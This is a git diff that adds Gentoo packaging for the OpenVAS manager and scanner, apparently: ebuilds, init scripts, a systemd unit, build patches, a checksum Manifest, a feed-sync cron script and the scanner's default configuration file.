diff --git a/net-analyzer/openvas-manager/files/openvas-manager-6.0.1-bsdsource.patch b/net-analyzer/openvas-manager/files/openvas-manager-6.0.1-bsdsource.patch
new file mode 100644
index 000000000000..011880979141
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvas-manager-6.0.1-bsdsource.patch
@@ -0,0 +1,16 @@
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 4eb89a0..7ccfc5a 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -338,7 +338,7 @@ configure_file (tools/openvas-migrate-to-postgres.in tools/openvas-migrate-to-po
+ set (HARDENING_FLAGS "-Wformat -Wformat-security -O2 -D_FORTIFY_SOURCE=2 -fstack-protector -Wl,-z,relro -Wl,-z,now")
+
+ set (CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -Werror")
+-set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_BSD_SOURCE -D_ISOC99_SOURCE -D_SVID_SOURCE -D_DEFAULT_SOURCE -D_FILE_OFFSET_BITS=64")
++set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_DEFAULT_SOURCE -D_ISOC99_SOURCE -D_DEFAULT_SOURCE -D_FILE_OFFSET_BITS=64")
+
+ add_subdirectory (src)
+
diff --git a/net-analyzer/openvas-manager/files/openvasmd b/net-analyzer/openvas-manager/files/openvasmd
new file mode 100644
index 000000000000..89accf4eed21
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvasmd
@@ -0,0 +1,23 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net openvassd
+}
+
+start() {
+ ebegin "Starting openvasmd (manager)"
+ start-stop-daemon --start --name openvasmd \
+ --exec /usr/sbin/openvasmd \
+ --pidfile /var/run/openvasmd.pid
+ eend $?
+}
+
+stop() {
+ ebegin "Stop openvasmd"
+ start-stop-daemon --stop --name openvasmd \
+ --pidfile /var/run/openvasmd.pid
+ eend $?
+}
diff --git a/net-analyzer/openvas-manager/files/openvasmd-daemon.conf b/net-analyzer/openvas-manager/files/openvasmd-daemon.conf
new file mode 100644
index 000000000000..d69698eecbb9
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvasmd-daemon.conf
@@ -0,0 +1,15 @@
+#Manager listens on given address - by default manager listens on all addresses
+#MANAGER_LISTEN=--listen=127.0.0.1
+
+#Manager listens on given port - by default 9390
+MANAGER_PORT=--port=9390
+
+MANAGER_EXTRA_ARGS=""
+
+#Contact scanner on given address
+SCANNER_LISTEN=--slisten=127.0.0.1
+
+#Scanner listens on given port - by default 9391
+SCANNER_PORT=--sport=9391
+
+
diff --git a/net-analyzer/openvas-manager/files/openvasmd.init b/net-analyzer/openvas-manager/files/openvasmd.init
new file mode 100644
index 000000000000..31b795f336b7
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvasmd.init
@@ -0,0 +1,18 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+name="OpenVAS Manager"
+command=/usr/sbin/openvasmd
+command_args="${MANAGER_LISTEN} ${MANAGER_PORT} ${SCANNER_LISTEN} ${SCANNER_PORT} ${MANAGER_EXTRA_ARGS}"
+pidfile="/run/openvasmd.pid"
+
+depend() {
+ after bootmisc
+ need localmount net openvassd
+}
+
+start_pre() {
+ checkpath --directory --mode 0775 --quiet /var/cache/openvas
+}
diff --git a/net-analyzer/openvas-manager/files/openvasmd.logrotate b/net-analyzer/openvas-manager/files/openvasmd.logrotate
new file mode 100644
index 000000000000..69cfa26b196a
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvasmd.logrotate
@@ -0,0 +1,11 @@
+# logrotate for openvas-manager
+/var/log/openvas/openvasmd.log {
+ rotate 4
+ weekly
+ compress
+ delaycompress
+ missingok
+ postrotate
+ /bin/kill -HUP `pidof openvasmd`
+ endscript
+}
diff --git a/net-analyzer/openvas-manager/files/openvasmd.service b/net-analyzer/openvas-manager/files/openvasmd.service
new file mode 100644
index 000000000000..91edb0087bc4
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvasmd.service
@@ -0,0 +1,16 @@
+[Unit]
+Description=OpenVAS Manager
+After=network.target
+After=openvassd.service
+
+[Service]
+EnvironmentFile=-/etc/openvas/openvasmd.conf
+ExecStart=/usr/sbin/openvasmd -f ${MANAGER_LISTEN} ${MANAGER_PORT} ${SCANNER_LISTEN} ${SCANNER_PORT} ${MANAGER_EXTRA_ARGS}
+Restart=always
+RestartSec=1
+User=root
+Group=root
+TimeoutSec=1200
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/openvas-manager/metadata.xml b/net-analyzer/openvas-manager/metadata.xml
new file mode 100644
index 000000000000..10fd5970fc9b
--- /dev/null
+++ b/net-analyzer/openvas-manager/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>hanno@gentoo.org</email>
+ </maintainer>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/openvas-manager/openvas-manager-5.0.10.ebuild b/net-analyzer/openvas-manager/openvas-manager-5.0.10.ebuild
new file mode 100644
index 000000000000..c45f27c6701b
--- /dev/null
+++ b/net-analyzer/openvas-manager/openvas-manager-5.0.10.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvasmd
+
+DL_ID=2035
+
+DESCRIPTION="A remote security scanner for Linux (openvas-manager)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-7.0.10
+ >=dev-db/sqlite-3
+ !net-analyzer/openvas-administrator"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-5.0.4-gpgerror.patch
+ "${FILESDIR}"/${PN}-5.0.4-bsdsource.patch
+ "${FILESDIR}"/${PN}-5.0.4-run.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ insinto /etc/openvas/
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ newins "${FILESDIR}"/${MY_PN}.logrotate ${MY_PN}
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-manager/openvas-manager-5.0.11.ebuild b/net-analyzer/openvas-manager/openvas-manager-5.0.11.ebuild
new file mode 100644
index 000000000000..d46d8c152b54
--- /dev/null
+++ b/net-analyzer/openvas-manager/openvas-manager-5.0.11.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvasmd
+
+DL_ID=2105
+
+DESCRIPTION="A remote security scanner for Linux (openvas-manager)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-7.0.10
+ >=dev-db/sqlite-3
+ !net-analyzer/openvas-administrator"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-5.0.4-gpgerror.patch
+ "${FILESDIR}"/${PN}-5.0.4-bsdsource.patch
+ "${FILESDIR}"/${PN}-5.0.4-run.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ insinto /etc/openvas/
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ newins "${FILESDIR}"/${MY_PN}.logrotate ${MY_PN}
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-manager/openvas-manager-6.0.3.ebuild b/net-analyzer/openvas-manager/openvas-manager-6.0.3.ebuild
new file mode 100644
index 000000000000..e5d639afdf4a
--- /dev/null
+++ b/net-analyzer/openvas-manager/openvas-manager-6.0.3.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvasmd
+
+DL_ID=2075
+
+DESCRIPTION="A remote security scanner for Linux (openvas-manager)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-8.0.3
+ >=dev-db/sqlite-3
+ !net-analyzer/openvas-administrator"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${P}
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-6.0.1-bsdsource.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ insinto /etc/openvas/
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ newins "${FILESDIR}"/${MY_PN}.logrotate ${MY_PN}
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-manager/openvas-manager-6.0.4.ebuild b/net-analyzer/openvas-manager/openvas-manager-6.0.4.ebuild
new file mode 100644
index 000000000000..1f6a3665750d
--- /dev/null
+++ b/net-analyzer/openvas-manager/openvas-manager-6.0.4.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvasmd
+
+DL_ID=2133
+
+DESCRIPTION="A remote security scanner for Linux (openvas-manager)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-8.0.3
+ >=dev-db/sqlite-3
+ !net-analyzer/openvas-administrator"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${P}
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-6.0.1-bsdsource.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ insinto /etc/openvas/
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ newins "${FILESDIR}"/${MY_PN}.logrotate ${MY_PN}
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-manager/openvas-manager-6.0.5.ebuild b/net-analyzer/openvas-manager/openvas-manager-6.0.5.ebuild
new file mode 100644
index 000000000000..f7d73b1813cf
--- /dev/null
+++ b/net-analyzer/openvas-manager/openvas-manager-6.0.5.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils systemd
+
+MY_PN=openvasmd
+
+DL_ID=2169
+
+DESCRIPTION="A remote security scanner for Linux (openvas-manager)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-8.0.3
+ >=dev-db/sqlite-3
+ !net-analyzer/openvas-administrator"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${P}
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-6.0.1-bsdsource.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}/var"
+ -DSYSCONFDIR="${EPREFIX}/etc"
+ )
+ cmake-utils_src_configure
+}
+
+src_install() {
+ cmake-utils_src_install
+
+ insinto /etc/openvas/
+ doins "${FILESDIR}"/${MY_PN}-daemon.conf
+ dosym ../openvas/${MY_PN}-daemon.conf /etc/conf.d/${PN}
+
+ insinto /etc/logrotate.d
+ newins "${FILESDIR}"/${MY_PN}.logrotate ${MY_PN}
+
+ newinitd "${FILESDIR}"/${MY_PN}.init ${MY_PN}
+ systemd_dounit "${FILESDIR}"/${MY_PN}.service
+}
diff --git a/net-analyzer/openvas-scanner/Manifest b/net-analyzer/openvas-scanner/Manifest
new file mode 100644
index 000000000000..fce47ad5cddf
--- /dev/null
+++ b/net-analyzer/openvas-scanner/Manifest
@@ -0,0 +1,4 @@
+DIST openvas-scanner-4.0.6.tar.gz 215715 SHA256 2e851f3766eed9ca19e06258ceca1b1e9d7a8d88c017dab69707697baca6bf17 SHA512 609cd1d423b233b40233e3292d17ce6839a07739a39015e1bd7fbc688ecce6d8dbec414999010c11b6dd4a7313c7dd307e4d91d0eb89ede8fe25659080dab20c WHIRLPOOL ab246e81141de722a5a301817ba52b3b02da84c9261d5e75b241fdf3f8a9e8102180a40b6b708d0c71692165302f56ff5de54afe847d43adf3db2f72fe1711f1
+DIST openvas-scanner-4.0.7.tar.gz 216116 SHA256 be450e1e1094d6f56edf2fd06efba6d882bf3a1ec369c30d50c81056009ebc64 SHA512 3b7387e207be72437866e2ef883257123ab5eaa6290dcd4efb60e49a536d6527a0854058777e5b397554baa8c82e09e5a3b521358cb11cec78396b25e6b156dd WHIRLPOOL a4b57cec6380c27cbf3caa4e3edaf288d24d24beff1e97756fc4c2168e4356c95a60624ee84f5badb456d91bdb4521ad38d771816dd57a8038b5f5afd6b9d15b
+DIST openvas-scanner-5.0.3.tar.gz 235795 SHA256 e5d3bfcfdc8955195b60ae643d81484dc2a800179392dbd71cb8d0f7d183356b SHA512 bfa76b328aec663fe13cf9e65412d7cbc729b66bcae76b34a295125d6f8586bb7873c3c1eebd897c82a549191baa8c6b9cf08f0a8aa148f70097eb76e944ef5b WHIRLPOOL d4dabd73faf96d353809763f4896ea6991fa5e2a05be5734ad8f64a6080c7346c96ab6db76d15046d2c29ea6b34fc50dd92a694748e7bfa60c67c080fce7e675
+DIST openvas-scanner-5.0.4.tar.gz 236282 SHA256 f35bc66fe8590e3875e224a123dc110b7d32093a96887288d9e4fd18c547b14c SHA512 51267f832a104897a497b5dc71d1b804de4db77742e2234d111a00b1e0e01536613b16ff48d23a37013178b016b39408a25d18a694980c7e6fc600824e05e149 WHIRLPOOL eda77d5b6adc25c5ee8828bb82ca6e736885ea13b52c9484763967738ad01d1c9181a65ff07dc4aa5c6206c020ece177ccecdbf795a55aad6884d42b4c9692c1
diff --git a/net-analyzer/openvas-scanner/files/openvas-nvt-sync-cron b/net-analyzer/openvas-scanner/files/openvas-nvt-sync-cron
new file mode 100644
index 000000000000..e6a83867f3d9
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvas-nvt-sync-cron
@@ -0,0 +1,39 @@
+#!/bin/sh
+
+if [ -f /etc/openvas/openvassd.conf ]; then
+ . /etc/openvas/openvassd.conf
+fi
+
+if [ "$auto_plugin_update" != "yes" ]; then
+ exit 0
+fi
+
+opts=""
+case "$update_method" in
+ rsync)
+ opts = "$opts --rsync"
+ ;;
+ wget)
+ opts = "$opts --wget"
+ ;;
+ curl)
+ opts = "$opts --curl"
+ ;;
+esac
+
+# Export openvas-nvt-sync's environment variables if they are defined
+[ \! -z "$NVT_DIR" ] && export NVT_DIR
+[ \! -z "$OV_RSYNC_FEED" ] && export OV_RSYNC_FEED
+[ \! -z "$OV_HTTP_FEED" ] && export OV_HTTP_FEED
+
+/usr/sbin/openvas-nvt-sync $opts >& /dev/null
+
+if [ $? -ne 0 ]; then
+ echo "Error updating OpenVAS plugins. Please run openvas-nvt-sync manually."
+ exit 1
+fi
+
+if [ "$notify_openvas_scanner" == "yes" ]; then
+ /etc/init.d/openvas-scanner reloadplugins
+fi
+
diff --git a/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-bsdsource.patch b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-bsdsource.patch
new file mode 100644
index 000000000000..f90b35ed7ec0
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-bsdsource.patch
@@ -0,0 +1,12 @@
+diff -ru openvas-scanner-4.0.1/CMakeLists.txt openvas-scanner-4.0.1.bsdsource/CMakeLists.txt
+--- openvas-scanner-4.0.1/CMakeLists.txt 2014-04-23 16:00:47.000000000 +0200
++++ openvas-scanner-4.0.1.bsdsource/CMakeLists.txt 2014-05-26 16:11:23.018940789 +0200
+@@ -235,7 +235,7 @@
+ set (HARDENING_FLAGS "-Wformat -Wformat-security -O2 -D_FORTIFY_SOURCE=2 -fstack-protector -Wl,-z,relro -Wl,-z,now")
+
+ set (CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -Werror")
+-set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_BSD_SOURCE -D_ISOC99_SOURCE -D_SVID_SOURCE")
++set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_DEFAULT_SOURCE -D_ISOC99_SOURCE")
+
+ add_subdirectory (src)
+
diff --git a/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-mkcertclient.patch b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-mkcertclient.patch
new file mode 100644
index 000000000000..05e92728f182
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-mkcertclient.patch
@@ -0,0 +1,29 @@
+diff -ru openvas-scanner-4.0.1/CMakeLists.txt openvas-scanner-4.0.1.mkcert/CMakeLists.txt
+--- openvas-scanner-4.0.1/CMakeLists.txt 2014-04-23 16:00:47.000000000 +0200
++++ openvas-scanner-4.0.1.mkcert/CMakeLists.txt 2014-05-26 16:04:23.093548608 +0200
+@@ -258,7 +258,6 @@
+ # DESTINATION ${OPENVAS_SYSCONF_DIR})
+
+ install (FILES ${CMAKE_BINARY_DIR}/tools/openvas-mkcert
+- ${CMAKE_BINARY_DIR}/tools/openvas-mkcert-client
+ ${CMAKE_BINARY_DIR}/tools/openvas-nvt-sync
+ DESTINATION ${SBINDIR}
+ PERMISSIONS OWNER_EXECUTE OWNER_READ OWNER_WRITE
+@@ -269,7 +268,15 @@
+ PERMISSIONS OWNER_EXECUTE OWNER_READ OWNER_WRITE
+ GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE)
+
+-install (FILES ${CMAKE_BINARY_DIR}/doc/openvassd.8
++install (FILES ${CMAKE_BINARY_DIR}/tools/openvas-mkcert-client
++ DESTINATION ${BINDIR}
++ PERMISSIONS OWNER_EXECUTE OWNER_READ OWNER_WRITE
++ GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE)
++
++install (FILES ${CMAKE_SOURCE_DIR}/doc/openvas-mkcert-client.1
++ DESTINATION ${DATADIR}/man/man1 )
++
++install (FILES ${CMAKE_BINARY_DIR}/doc/openvassd.8
+ DESTINATION ${DATADIR}/man/man8 )
+
+ install (FILES ${CMAKE_SOURCE_DIR}/doc/openvas-mkcert.8
+Only in openvas-scanner-4.0.1.mkcert/: CMakeLists.txt~
diff --git a/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-rulesdir.patch b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-rulesdir.patch
new file mode 100644
index 000000000000..90f998ffd40c
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-rulesdir.patch
@@ -0,0 +1,15 @@
+diff -ru openvas-scanner-4.0.1/CMakeLists.txt openvas-scanner-4.0.1.rules/CMakeLists.txt
+--- openvas-scanner-4.0.1/CMakeLists.txt 2014-04-23 16:00:47.000000000 +0200
++++ openvas-scanner-4.0.1.rules/CMakeLists.txt 2014-05-26 16:07:37.454116277 +0200
+@@ -171,6 +171,10 @@
+ set (OPENVASSD_DEBUGMSG "${OPENVAS_LOG_DIR}/openvassd.dump")
+ set (OPENVASSD_CONF "${OPENVAS_SYSCONF_DIR}/openvassd.conf")
+
++if (NOT OPENVASSD_RULES)
++ set (OPENVASSD_RULES "${OPENVAS_DATA_DIR}/openvassd.rules")
++endif (NOT OPENVASSD_RULES)
++
+ set (NVT_TIMEOUT "320")
+
+ message ("-- Install prefix: ${CMAKE_INSTALL_PREFIX}")
+
diff --git a/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-run.patch b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-run.patch
new file mode 100644
index 000000000000..51dd8389c5f5
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-run.patch
@@ -0,0 +1,17 @@
+ CMakeLists.txt | 2 +-
+ tools/greenbone-nvt-sync | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index c691100..d78ffa6 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -155,7 +155,7 @@ set (OPENVAS_DATA_DIR "${DATADIR}/openvas")
+ set (OPENVAS_STATE_DIR "${LOCALSTATEDIR}/lib/openvas")
+ set (OPENVAS_LOG_DIR "${LOCALSTATEDIR}/log/openvas")
+ set (OPENVAS_CACHE_DIR "${LOCALSTATEDIR}/cache/openvas")
+-set (OPENVAS_PID_DIR "${LOCALSTATEDIR}/run")
++set (OPENVAS_PID_DIR "/run")
+ set (OPENVAS_SYSCONF_DIR "${SYSCONFDIR}/openvas")
+
+ set (OPENVAS_NVT_DIR "${OPENVAS_STATE_DIR}/plugins")
diff --git a/net-analyzer/openvas-scanner/files/openvassd b/net-analyzer/openvas-scanner/files/openvassd
new file mode 100644
index 000000000000..5f69eb113db7
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvassd
@@ -0,0 +1,23 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting openvassd (scanner)"
+ start-stop-daemon --start --name openvassd \
+ --exec /usr/sbin/openvassd \
+ --pidfile /var/run/openvassd.pid
+ eend $?
+}
+
+stop() {
+ ebegin "Stop openvassd (scanner)"
+ start-stop-daemon --stop --name openvassd \
+ --pidfile /var/run/openvassd.pid
+ eend $?
+}
diff --git a/net-analyzer/openvas-scanner/files/openvassd-daemon.conf b/net-analyzer/openvas-scanner/files/openvassd-daemon.conf
new file mode 100644
index 000000000000..628a223a4198
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvassd-daemon.conf
@@ -0,0 +1,26 @@
+#Listen on given address - by default scanner listens on all addresses
+#SCANNER_LISTEN=--listen=127.0.0.1
+
+#Listen on given port - by default 9391
+SCANNER_PORT=--port=9391
+
+#Send the packets with the source IP of IP1,IP2,IP3....
+#SCANNER_SRCIP=--src-ip=127.0.0.1,192.168.1.2
+
+# Extra Arguments
+# SCANNER_EXTRA_ARGS=""
+
+# Set to yes if plugins should be automatically updated via a cron job
+auto_plugin_update=no
+
+# Notify OpenVAS scanner after update by seding it SIGHUP?
+notify_openvas_scanner=yes
+
+# Method to use to get updates. The default is via rsync
+# Note that only wget and curl support retrieval via proxy
+# update_method=rsync|wget|curl
+
+# Additionaly, you can specify the following variables
+#NVT_DIR where to extract plugins (absolute path)
+#OV_RSYNC_FEED URL of rsync feed
+#OV_HTTP_FEED URL of http feed
diff --git a/net-analyzer/openvas-scanner/files/openvassd.conf b/net-analyzer/openvas-scanner/files/openvassd.conf
new file mode 100644
index 000000000000..88f83f4bed97
--- /dev/null
+++ b/net-analyzer/openvas-scanner/files/openvassd.conf
@@ -0,0 +1,118 @@
+# Configuration file of the OpenVAS Security Scanner
+
+# Every line starting with a '#' is a comment
+
+[Misc]
+
+# Path to the security checks folder:
+plugins_folder = /var/lib/openvas/plugins
+
+# Path to OpenVAS caching folder:
+cache_folder = /var/cache/openvas
+
+# Path to OpenVAS include directories:
+# (multiple entries are separated with colon ':')
+include_folders = /var/lib/openvas/plugins
+
+# Maximum number of simultaneous hosts tested :
+max_hosts = 30
+
+# Maximum number of simultaneous checks against each host tested :
+max_checks = 10
+
+# Niceness. If set to 'yes', openvassd will renice itself to 10.
+be_nice = no
+
+# Log file (or 'syslog') :
+logfile = /var/log/openvas/openvassd.log
+
+# Shall we log every details of the attack ? (disk intensive)
+log_whole_attack = no
+
+# Log the name of the plugins that are loaded by the server ?
+log_plugins_name_at_load = no
+
+# Dump file for debugging output, use `-' for stdout
+dumpfile = /var/log/openvas/openvassd.dump
+
+# Rules file :
+rules = /etc/openvas/openvassd.rules
+
+# CGI paths to check for (cgi-bin:/cgi-aws:/ can do)
+cgi_path = /cgi-bin:/scripts
+
+# Range of the ports the port scanners will scan :
+# 'default' means that OpenVAS will scan ports found in its
+# services file.
+port_range = default
+
+# Optimize the test (recommended) :
+optimize_test = yes
+
+# Optimization :
+# Read timeout for the sockets of the tests :
+checks_read_timeout = 5
+
+# Ports against which two plugins should not be run simultaneously :
+# non_simult_ports = Services/www, 139, Services/finger
+non_simult_ports = 139, 445
+
+# Maximum lifetime of a plugin (in seconds) :
+plugins_timeout = 320
+
+# Safe checks rely on banner grabbing :
+safe_checks = yes
+
+# Automatically activate the plugins that are depended on
+auto_enable_dependencies = yes
+
+# Do not echo data from plugins which have been automatically enabled
+silent_dependencies = no
+
+# Designate hosts by MAC address, not IP address (useful for DHCP networks)
+use_mac_addr = no
+
+
+#--- Knowledge base saving (can be configured by the client) :
+# Save the knowledge base on disk :
+save_knowledge_base = no
+
+# Restore the KB for each test :
+kb_restore = no
+
+# Only test hosts whose KB we do not have :
+only_test_hosts_whose_kb_we_dont_have = no
+
+# Only test hosts whose KB we already have :
+only_test_hosts_whose_kb_we_have = no
+
+# KB test replay :
+kb_dont_replay_scanners = no
+kb_dont_replay_info_gathering = no
+kb_dont_replay_attacks = no
+kb_dont_replay_denials = no
+kb_max_age = 864000
+#--- end of the KB section
+
+
+# If this option is set, OpenVAS will not scan a network incrementally
+# (10.0.0.1, then 10.0.0.2, 10.0.0.3 and so on..) but will attempt to
+# slice the workload throughout the whole network (ie: it will scan
+# 10.0.0.1, then 10.0.0.127, then 10.0.0.2, then 10.0.0.128 and so on...
+slice_network_addresses = no
+
+# Should consider all the NASL scripts as being signed ? (unsafe if set to 'yes')
